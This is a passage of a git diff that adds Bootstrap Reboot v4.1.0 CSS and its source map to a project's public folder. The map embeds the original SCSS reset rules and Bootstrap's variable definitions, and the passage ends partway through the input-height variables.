+svg:not(:root) { + overflow: hidden; +} + +table { + border-collapse: collapse; +} + +caption { + padding-top: 0.75rem; + padding-bottom: 0.75rem; + color: #6c757d; + text-align: left; + caption-side: bottom; +} + +th { + text-align: inherit; +} + +label { + display: inline-block; + margin-bottom: 0.5rem; +} + +button { + border-radius: 0; +} + +button:focus { + outline: 1px dotted; + outline: 5px auto -webkit-focus-ring-color; +} + +input, +button, +select, +optgroup, +textarea { + margin: 0; + font-family: inherit; + font-size: inherit; + line-height: inherit; +} + +button, +input { + overflow: visible; +} + +button, +select { + text-transform: none; +} + +button, +html [type="button"], +[type="reset"], +[type="submit"] { + -webkit-appearance: button; +} + +button::-moz-focus-inner, +[type="button"]::-moz-focus-inner, +[type="reset"]::-moz-focus-inner, +[type="submit"]::-moz-focus-inner { + padding: 0; + border-style: none; +} + +input[type="radio"], +input[type="checkbox"] { + box-sizing: border-box; + padding: 0; +} + +input[type="date"], +input[type="time"], +input[type="datetime-local"], +input[type="month"] { + -webkit-appearance: listbox; +} + +textarea { + overflow: auto; + resize: vertical; +} + +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0; +} + +legend { + display: block; + width: 100%; + max-width: 100%; + padding: 0; + margin-bottom: .5rem; + font-size: 1.5rem; + line-height: inherit; + color: inherit; + white-space: normal; +} + +progress { + vertical-align: baseline; +} + +[type="number"]::-webkit-inner-spin-button, +[type="number"]::-webkit-outer-spin-button { + height: auto; +} + +[type="search"] { + outline-offset: -2px; + -webkit-appearance: none; +} + +[type="search"]::-webkit-search-cancel-button, +[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} + +::-webkit-file-upload-button { + font: inherit; + -webkit-appearance: button; +} + +output { + display: inline-block; +} + +summary { + display: list-item; + cursor: pointer; +} + +template { + display: none; +} + +[hidden] { + display: none !important; +} +/*# sourceMappingURL=bootstrap-reboot.css.map */ \ No newline at end of file diff --git a/public/css/bootstrap-reboot.css.map b/public/css/bootstrap-reboot.css.map new file mode 100644 index 0000000..ee4c739 --- /dev/null +++ b/public/css/bootstrap-reboot.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["../../scss/bootstrap-reboot.scss","../../scss/_reboot.scss","../../scss/_variables.scss","bootstrap-reboot.css","../../scss/mixins/_hover.scss"],"names":[],"mappings":"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","file":"bootstrap-reboot.css","sourcesContent":["/*!\n * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)\n */\n\n@import \"functions\";\n@import \"variables\";\n@import \"mixins\";\n@import \"reboot\";\n","// stylelint-disable at-rule-no-vendor-prefix, declaration-no-important, selector-no-qualifying-type, property-no-vendor-prefix\n\n// Reboot\n//\n// Normalization of HTML elements, manually forked from Normalize.css to remove\n// styles targeting irrelevant browsers while applying new styles.\n//\n// Normalize is licensed MIT. https://github.com/necolas/normalize.css\n\n\n// Document\n//\n// 1. Change from `box-sizing: content-box` so that `width` is not affected by `padding` or `border`.\n// 2. Change the default font family in all browsers.\n// 3. Correct the line height in all browsers.\n// 4. Prevent adjustments of font size after orientation changes in IE on Windows Phone and in iOS.\n// 5. Setting @viewport causes scrollbars to overlap content in IE11 and Edge, so\n// we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n// 6. Change the default tap highlight to be completely transparent in iOS.\n\n*,\n*::before,\n*::after {\n box-sizing: border-box; // 1\n}\n\nhtml {\n font-family: sans-serif; // 2\n line-height: 1.15; // 3\n -webkit-text-size-adjust: 100%; // 4\n -ms-text-size-adjust: 100%; // 4\n -ms-overflow-style: scrollbar; // 5\n -webkit-tap-highlight-color: rgba($black, 0); // 6\n}\n\n// IE10+ doesn't honor `<meta name=\"viewport\">` in some cases.\n@at-root {\n @-ms-viewport {\n width: device-width;\n }\n}\n\n// stylelint-disable selector-list-comma-newline-after\n// Shim for \"new\" HTML5 structural elements to display correctly (IE10, older browsers)\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Body\n//\n// 1. Remove the margin in all browsers.\n// 2. As a best practice, apply a default `background-color`.\n// 3. Set an explicit initial text-align value so that we can later use the\n// the `inherit` value on things like `<th>` elements.\n\nbody {\n margin: 0; // 1\n font-family: $font-family-base;\n font-size: $font-size-base;\n font-weight: $font-weight-base;\n line-height: $line-height-base;\n color: $body-color;\n text-align: left; // 3\n background-color: $body-bg; // 2\n}\n\n// Suppress the focus outline on elements that cannot be accessed via keyboard.\n// This prevents an unwanted focus outline from appearing around elements that\n// might still respond to pointer events.\n//\n// Credit: https://github.com/suitcss/base\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\n\n// Content grouping\n//\n// 1. Add the correct box sizing in Firefox.\n// 2. Show the overflow in Edge and IE.\n\nhr {\n box-sizing: content-box; // 1\n height: 0; // 1\n overflow: visible; // 2\n}\n\n\n//\n// Typography\n//\n\n// Remove top margins from headings\n//\n// By default, `<h1>`-`<h6>` all receive top and bottom margins. We nuke the top\n// margin for easier control within type scales as it avoids margin collapsing.\n// stylelint-disable selector-list-comma-newline-after\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: $headings-margin-bottom;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Reset margins on paragraphs\n//\n// Similarly, the top margin on `<p>`s get reset. However, we also reset the\n// bottom margin to use `rem` units instead of `em`.\np {\n margin-top: 0;\n margin-bottom: $paragraph-margin-bottom;\n}\n\n// Abbreviations\n//\n// 1. Remove the bottom border in Firefox 39-.\n// 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.\n// 3. Add explicit cursor to indicate changed behavior.\n// 4. Duplicate behavior to the data-* attribute for our tooltip plugin\n\nabbr[title],\nabbr[data-original-title] { // 4\n text-decoration: underline; // 2\n text-decoration: underline dotted; // 2\n cursor: help; // 3\n border-bottom: 0; // 1\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: $dt-font-weight;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0; // Undo browser default\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic; // Add the correct font style in Android 4.3-\n}\n\n// stylelint-disable font-weight-notation\nb,\nstrong {\n font-weight: bolder; // Add the correct font weight in Chrome, Edge, and Safari\n}\n// stylelint-enable font-weight-notation\n\nsmall {\n font-size: 80%; // Add the correct font size in all browsers\n}\n\n//\n// Prevent `sub` and `sup` elements from affecting the line height in\n// all browsers.\n//\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub { bottom: -.25em; }\nsup { top: -.5em; }\n\n\n//\n// Links\n//\n\na {\n color: $link-color;\n text-decoration: $link-decoration;\n background-color: transparent; // Remove the gray background on active links in IE 10.\n -webkit-text-decoration-skip: objects; // Remove gaps in links underline in iOS 8+ and Safari 8+.\n\n @include hover {\n color: $link-hover-color;\n text-decoration: $link-hover-decoration;\n }\n}\n\n// And undo these styles for placeholder links/named anchors (without href)\n// which have not been made explicitly keyboard-focusable (without tabindex).\n// It would be more straightforward to just use a[href] in previous block, but that\n// causes specificity issues in many other styles that are too complex to fix.\n// See https://github.com/twbs/bootstrap/issues/19402\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n\n @include hover-focus {\n color: inherit;\n text-decoration: none;\n }\n\n &:focus {\n outline: 0;\n }\n}\n\n\n//\n// Code\n//\n\n// stylelint-disable font-family-no-duplicate-names\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace; // Correct the inheritance and scaling of font size in all browsers.\n font-size: 1em; // Correct the odd `em` font sizing in all browsers.\n}\n// stylelint-enable font-family-no-duplicate-names\n\npre {\n // Remove browser default top margin\n margin-top: 0;\n // Reset browser default of `1em` to use `rem`s\n margin-bottom: 1rem;\n // Don't allow content to break outside\n overflow: auto;\n // We have @viewport set which causes scrollbars to overlap content in IE11 and Edge, so\n // we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n -ms-overflow-style: scrollbar;\n}\n\n\n//\n// Figures\n//\n\nfigure {\n // Apply a consistent margin strategy (matches our type styles).\n margin: 0 0 1rem;\n}\n\n\n//\n// Images and content\n//\n\nimg {\n vertical-align: middle;\n border-style: none; // Remove the border on images inside links in IE 10-.\n}\n\nsvg:not(:root) {\n overflow: hidden; // Hide the overflow in IE\n}\n\n\n//\n// Tables\n//\n\ntable {\n border-collapse: collapse; // Prevent double borders\n}\n\ncaption {\n padding-top: $table-cell-padding;\n padding-bottom: $table-cell-padding;\n color: $table-caption-color;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n // Matches default `<td>` alignment by inheriting from the `<body>`, or the\n // closest parent with a set `text-align`.\n text-align: inherit;\n}\n\n\n//\n// Forms\n//\n\nlabel {\n // Allow labels to use `margin` for spacing.\n display: inline-block;\n margin-bottom: $label-margin-bottom;\n}\n\n// Remove the default `border-radius` that macOS Chrome adds.\n//\n// Details at https://github.com/twbs/bootstrap/issues/24093\nbutton {\n border-radius: 0;\n}\n\n// Work around a Firefox/IE bug where the transparent `button` background\n// results in a loss of the default `button` focus styles.\n//\n// Credit: https://github.com/suitcss/base/\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0; // Remove the margin in Firefox and Safari\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible; // Show the overflow in Edge\n}\n\nbutton,\nselect {\n text-transform: none; // Remove the inheritance of text transform in Firefox\n}\n\n// 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`\n// controls in Android 4.\n// 2. Correct the inability to style clickable types in iOS and Safari.\nbutton,\nhtml [type=\"button\"], // 1\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button; // 2\n}\n\n// Remove inner border and padding from Firefox, but don't restore the outline like Normalize.\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box; // 1. Add the correct box sizing in IE 10-\n padding: 0; // 2. Remove the padding in IE 10-\n}\n\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n // Remove the default appearance of temporal inputs to avoid a Mobile Safari\n // bug where setting a custom line-height prevents text from being vertically\n // centered within the input.\n // See https://bugs.webkit.org/show_bug.cgi?id=139848\n // and https://github.com/twbs/bootstrap/issues/11266\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto; // Remove the default vertical scrollbar in IE.\n // Textareas should really only resize vertically so they don't break their (horizontal) containers.\n resize: vertical;\n}\n\nfieldset {\n // Browsers set a default `min-width: min-content;` on fieldsets,\n // unlike e.g. `<div>`s, which have `min-width: 0;` by default.\n // So we reset that to ensure fieldsets behave more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359\n // and https://html.spec.whatwg.org/multipage/#the-fieldset-and-legend-elements\n min-width: 0;\n // Reset the default outline behavior of fieldsets so they don't affect page layout.\n padding: 0;\n margin: 0;\n border: 0;\n}\n\n// 1. Correct the text wrapping in Edge and IE.\n// 2. Correct the color inheritance from `fieldset` elements in IE.\nlegend {\n display: block;\n width: 100%;\n max-width: 100%; // 1\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit; // 2\n white-space: normal; // 1\n}\n\nprogress {\n vertical-align: baseline; // Add the correct vertical alignment in Chrome, Firefox, and Opera.\n}\n\n// Correct the cursor style of increment and decrement buttons in Chrome.\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n // This overrides the extra rounded corners on search inputs in iOS so that our\n // `.form-control` class can properly style them. Note that this cannot simply\n // be added to `.form-control` as it's not specific enough. For details, see\n // https://github.com/twbs/bootstrap/issues/11586.\n outline-offset: -2px; // 2. Correct the outline style in Safari.\n -webkit-appearance: none;\n}\n\n//\n// Remove the inner padding and cancel buttons in Chrome and Safari on macOS.\n//\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// 1. Correct the inability to style clickable types in iOS and Safari.\n// 2. Change font properties to `inherit` in Safari.\n//\n\n::-webkit-file-upload-button {\n font: inherit; // 2\n -webkit-appearance: button; // 1\n}\n\n//\n// Correct element displays\n//\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item; // Add the correct display in all browsers\n cursor: pointer;\n}\n\ntemplate {\n display: none; // Add the correct display in IE\n}\n\n// Always hide an element with the `hidden` HTML attribute (from PureCSS).\n// Needed for proper display in IE 10-.\n[hidden] {\n display: none !important;\n}\n","// Variables\n//\n// Variables should follow the `$component-state-property-size` formula for\n// consistent naming. Ex: $nav-link-disabled-color and $modal-content-box-shadow-xs.\n\n\n//\n// Color system\n//\n\n// stylelint-disable\n$white: #fff !default;\n$gray-100: #f8f9fa !default;\n$gray-200: #e9ecef !default;\n$gray-300: #dee2e6 !default;\n$gray-400: #ced4da !default;\n$gray-500: #adb5bd !default;\n$gray-600: #6c757d !default;\n$gray-700: #495057 !default;\n$gray-800: #343a40 !default;\n$gray-900: #212529 !default;\n$black: #000 !default;\n\n$grays: () !default;\n$grays: map-merge((\n \"100\": $gray-100,\n \"200\": $gray-200,\n \"300\": $gray-300,\n \"400\": $gray-400,\n \"500\": $gray-500,\n \"600\": $gray-600,\n \"700\": $gray-700,\n \"800\": $gray-800,\n \"900\": $gray-900\n), $grays);\n\n$blue: #007bff !default;\n$indigo: #6610f2 !default;\n$purple: #6f42c1 !default;\n$pink: #e83e8c !default;\n$red: #dc3545 !default;\n$orange: #fd7e14 !default;\n$yellow: #ffc107 !default;\n$green: #28a745 !default;\n$teal: #20c997 !default;\n$cyan: #17a2b8 !default;\n\n$colors: () !default;\n$colors: map-merge((\n \"blue\": $blue,\n \"indigo\": $indigo,\n \"purple\": $purple,\n \"pink\": $pink,\n \"red\": $red,\n \"orange\": $orange,\n \"yellow\": $yellow,\n \"green\": $green,\n \"teal\": $teal,\n \"cyan\": $cyan,\n \"white\": $white,\n \"gray\": $gray-600,\n \"gray-dark\": $gray-800\n), $colors);\n\n$primary: $blue !default;\n$secondary: $gray-600 !default;\n$success: $green !default;\n$info: $cyan !default;\n$warning: $yellow !default;\n$danger: $red !default;\n$light: $gray-100 !default;\n$dark: $gray-800 !default;\n\n$theme-colors: () !default;\n$theme-colors: map-merge((\n \"primary\": $primary,\n \"secondary\": $secondary,\n \"success\": $success,\n \"info\": $info,\n \"warning\": $warning,\n \"danger\": $danger,\n \"light\": $light,\n \"dark\": $dark\n), $theme-colors);\n// stylelint-enable\n\n// Set a specific jump point for requesting color jumps\n$theme-color-interval: 8% !default;\n\n// The yiq lightness value that determines when the lightness of color changes from \"dark\" to \"light\". Acceptable values are between 0 and 255.\n$yiq-contrasted-threshold: 150 !default;\n\n// Customize the light and dark text colors for use in our YIQ color contrast function.\n$yiq-text-dark: $gray-900 !default;\n$yiq-text-light: $white !default;\n\n// Options\n//\n// Quickly modify global styling by enabling or disabling optional features.\n\n$enable-caret: true !default;\n$enable-rounded: true !default;\n$enable-shadows: false !default;\n$enable-gradients: false !default;\n$enable-transitions: true !default;\n$enable-hover-media-query: false !default; // Deprecated, no longer affects any compiled CSS\n$enable-grid-classes: true !default;\n$enable-print-styles: true !default;\n\n\n// Spacing\n//\n// Control the default styling of most Bootstrap elements by modifying these\n// variables. Mostly focused on spacing.\n// You can add more entries to the $spacers map, should you need more variation.\n\n// stylelint-disable\n$spacer: 1rem !default;\n$spacers: () !default;\n$spacers: map-merge((\n 0: 0,\n 1: ($spacer * .25),\n 2: ($spacer * .5),\n 3: $spacer,\n 4: ($spacer * 1.5),\n 5: ($spacer * 3)\n), $spacers);\n\n// This variable affects the `.h-*` and `.w-*` classes.\n$sizes: () !default;\n$sizes: map-merge((\n 25: 25%,\n 50: 50%,\n 75: 75%,\n 100: 100%,\n auto: auto\n), $sizes);\n// stylelint-enable\n\n// Body\n//\n// Settings for the `<body>` element.\n\n$body-bg: $white !default;\n$body-color: $gray-900 !default;\n\n// Links\n//\n// Style anchor elements.\n\n$link-color: theme-color(\"primary\") !default;\n$link-decoration: none !default;\n$link-hover-color: darken($link-color, 15%) !default;\n$link-hover-decoration: underline !default;\n\n// Paragraphs\n//\n// Style p element.\n\n$paragraph-margin-bottom: 1rem !default;\n\n\n// Grid breakpoints\n//\n// Define the minimum dimensions at which your layout will change,\n// adapting to different screen sizes, for use in media queries.\n\n$grid-breakpoints: (\n xs: 0,\n sm: 576px,\n md: 768px,\n lg: 992px,\n xl: 1200px\n) !default;\n\n@include _assert-ascending($grid-breakpoints, \"$grid-breakpoints\");\n@include _assert-starts-at-zero($grid-breakpoints);\n\n\n// Grid containers\n//\n// Define the maximum width of `.container` for different screen sizes.\n\n$container-max-widths: (\n sm: 540px,\n md: 720px,\n lg: 960px,\n xl: 1140px\n) !default;\n\n@include _assert-ascending($container-max-widths, \"$container-max-widths\");\n\n\n// Grid columns\n//\n// Set the number of columns and specify the width of the gutters.\n\n$grid-columns: 12 !default;\n$grid-gutter-width: 30px !default;\n\n// Components\n//\n// Define common padding and border radius sizes and more.\n\n$line-height-lg: 1.5 !default;\n$line-height-sm: 1.5 !default;\n\n$border-width: 1px !default;\n$border-color: $gray-300 !default;\n\n$border-radius: .25rem !default;\n$border-radius-lg: .3rem !default;\n$border-radius-sm: .2rem !default;\n\n$box-shadow-sm: 0 .125rem .25rem rgba($black, .075) !default;\n$box-shadow: 0 .5rem 1rem rgba($black, .15) !default;\n$box-shadow-lg: 0 1rem 3rem rgba($black, .175) !default;\n\n$component-active-color: $white !default;\n$component-active-bg: theme-color(\"primary\") !default;\n\n$caret-width: .3em !default;\n\n$transition-base: all .2s ease-in-out !default;\n$transition-fade: opacity .15s linear !default;\n$transition-collapse: height .35s ease !default;\n\n\n// Fonts\n//\n// Font, line-height, and color for body text, headings, and more.\n\n// stylelint-disable value-keyword-case\n$font-family-sans-serif: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\" !default;\n$font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace !default;\n$font-family-base: $font-family-sans-serif !default;\n// stylelint-enable value-keyword-case\n\n$font-size-base: 1rem !default; // Assumes the browser default, typically `16px`\n$font-size-lg: ($font-size-base * 1.25) !default;\n$font-size-sm: ($font-size-base * .875) !default;\n\n$font-weight-light: 300 !default;\n$font-weight-normal: 400 !default;\n$font-weight-bold: 700 !default;\n\n$font-weight-base: $font-weight-normal !default;\n$line-height-base: 1.5 !default;\n\n$h1-font-size: $font-size-base * 2.5 !default;\n$h2-font-size: $font-size-base * 2 !default;\n$h3-font-size: $font-size-base * 1.75 !default;\n$h4-font-size: $font-size-base * 1.5 !default;\n$h5-font-size: $font-size-base * 1.25 !default;\n$h6-font-size: $font-size-base !default;\n\n$headings-margin-bottom: ($spacer / 2) !default;\n$headings-font-family: inherit !default;\n$headings-font-weight: 500 !default;\n$headings-line-height: 1.2 !default;\n$headings-color: inherit !default;\n\n$display1-size: 6rem !default;\n$display2-size: 5.5rem !default;\n$display3-size: 4.5rem !default;\n$display4-size: 3.5rem !default;\n\n$display1-weight: 300 !default;\n$display2-weight: 300 !default;\n$display3-weight: 300 !default;\n$display4-weight: 300 !default;\n$display-line-height: $headings-line-height !default;\n\n$lead-font-size: ($font-size-base * 1.25) !default;\n$lead-font-weight: 300 !default;\n\n$small-font-size: 80% !default;\n\n$text-muted: $gray-600 !default;\n\n$blockquote-small-color: $gray-600 !default;\n$blockquote-font-size: ($font-size-base * 1.25) !default;\n\n$hr-border-color: rgba($black, .1) !default;\n$hr-border-width: $border-width !default;\n\n$mark-padding: .2em !default;\n\n$dt-font-weight: $font-weight-bold !default;\n\n$kbd-box-shadow: inset 0 -.1rem 0 rgba($black, .25) !default;\n$nested-kbd-font-weight: $font-weight-bold !default;\n\n$list-inline-padding: .5rem !default;\n\n$mark-bg: #fcf8e3 !default;\n\n$hr-margin-y: $spacer !default;\n\n\n// Tables\n//\n// Customizes the `.table` component with basic values, each used across all table variations.\n\n$table-cell-padding: .75rem !default;\n$table-cell-padding-sm: .3rem !default;\n\n$table-bg: transparent !default;\n$table-accent-bg: rgba($black, .05) !default;\n$table-hover-bg: rgba($black, .075) !default;\n$table-active-bg: $table-hover-bg !default;\n\n$table-border-width: $border-width !default;\n$table-border-color: $gray-300 !default;\n\n$table-head-bg: $gray-200 !default;\n$table-head-color: $gray-700 !default;\n\n$table-dark-bg: $gray-900 !default;\n$table-dark-accent-bg: rgba($white, .05) !default;\n$table-dark-hover-bg: rgba($white, .075) !default;\n$table-dark-border-color: lighten($gray-900, 7.5%) !default;\n$table-dark-color: $body-bg !default;\n\n$table-striped-order: odd !default;\n\n$table-caption-color: $text-muted !default;\n\n// Buttons + Forms\n//\n// Shared variables that are reassigned to `$input-` and `$btn-` specific variables.\n\n$input-btn-padding-y: .375rem !default;\n$input-btn-padding-x: .75rem !default;\n$input-btn-line-height: $line-height-base !default;\n\n$input-btn-focus-width: .2rem !default;\n$input-btn-focus-color: rgba($component-active-bg, .25) !default;\n$input-btn-focus-box-shadow: 0 0 0 $input-btn-focus-width $input-btn-focus-color !default;\n\n$input-btn-padding-y-sm: .25rem !default;\n$input-btn-padding-x-sm: .5rem !default;\n$input-btn-line-height-sm: $line-height-sm !default;\n\n$input-btn-padding-y-lg: .5rem !default;\n$input-btn-padding-x-lg: 1rem !default;\n$input-btn-line-height-lg: $line-height-lg !default;\n\n$input-btn-border-width: $border-width !default;\n\n\n// Buttons\n//\n// For each of Bootstrap's buttons, define text, background, and border color.\n\n$btn-padding-y: $input-btn-padding-y !default;\n$btn-padding-x: $input-btn-padding-x !default;\n$btn-line-height: $input-btn-line-height !default;\n\n$btn-padding-y-sm: $input-btn-padding-y-sm !default;\n$btn-padding-x-sm: $input-btn-padding-x-sm !default;\n$btn-line-height-sm: $input-btn-line-height-sm !default;\n\n$btn-padding-y-lg: $input-btn-padding-y-lg !default;\n$btn-padding-x-lg: $input-btn-padding-x-lg !default;\n$btn-line-height-lg: $input-btn-line-height-lg !default;\n\n$btn-border-width: $input-btn-border-width !default;\n\n$btn-font-weight: $font-weight-normal !default;\n$btn-box-shadow: inset 0 1px 0 rgba($white, .15), 0 1px 1px rgba($black, .075) !default;\n$btn-focus-width: $input-btn-focus-width !default;\n$btn-focus-box-shadow: $input-btn-focus-box-shadow !default;\n$btn-disabled-opacity: .65 !default;\n$btn-active-box-shadow: inset 0 3px 5px rgba($black, .125) !default;\n\n$btn-link-disabled-color: $gray-600 !default;\n\n$btn-block-spacing-y: .5rem !default;\n\n// Allows for customizing button radius independently from global border radius\n$btn-border-radius: $border-radius !default;\n$btn-border-radius-lg: $border-radius-lg !default;\n$btn-border-radius-sm: $border-radius-sm !default;\n\n$btn-transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n\n// Forms\n\n$label-margin-bottom: .5rem !default;\n\n$input-padding-y: $input-btn-padding-y !default;\n$input-padding-x: $input-btn-padding-x !default;\n$input-line-height: $input-btn-line-height !default;\n\n$input-padding-y-sm: $input-btn-padding-y-sm !default;\n$input-padding-x-sm: $input-btn-padding-x-sm !default;\n$input-line-height-sm: $input-btn-line-height-sm !default;\n\n$input-padding-y-lg: $input-btn-padding-y-lg !default;\n$input-padding-x-lg: $input-btn-padding-x-lg !default;\n$input-line-height-lg: $input-btn-line-height-lg !default;\n\n$input-bg: $white !default;\n$input-disabled-bg: $gray-200 !default;\n\n$input-color: $gray-700 !default;\n$input-border-color: $gray-400 !default;\n$input-border-width: $input-btn-border-width !default;\n$input-box-shadow: inset 0 1px 1px rgba($black, .075) !default;\n\n$input-border-radius: $border-radius !default;\n$input-border-radius-lg: $border-radius-lg !default;\n$input-border-radius-sm: $border-radius-sm !default;\n\n$input-focus-bg: $input-bg !default;\n$input-focus-border-color: lighten($component-active-bg, 25%) !default;\n$input-focus-color: $input-color !default;\n$input-focus-width: $input-btn-focus-width !default;\n$input-focus-box-shadow: $input-btn-focus-box-shadow !default;\n\n$input-placeholder-color: $gray-600 !default;\n$input-plaintext-color: $body-color !default;\n\n$input-height-border: $input-border-width * 2 !default;\n\n$input-height-inner: ($font-size-base * $input-btn-line-height) + ($input-btn-padding-y * 2) !default;\n$input-height: calc(#{$input-height-inner} + #{$input-height-border}) !default;\n\n$input-height-inner-sm: ($font-size-sm * $input-btn-line-height-sm) + ($input-btn-padding-y-sm * 2) !default;\n$input-height-sm: calc(#{$input-height-inner-sm} + #{$input-height-border}) !default;\n\n$input-height-inner-lg: ($font-size-lg * $input-btn-line-height-lg) + ($input-btn-padding-y-lg * 2) !default;\n$input-height-lg: 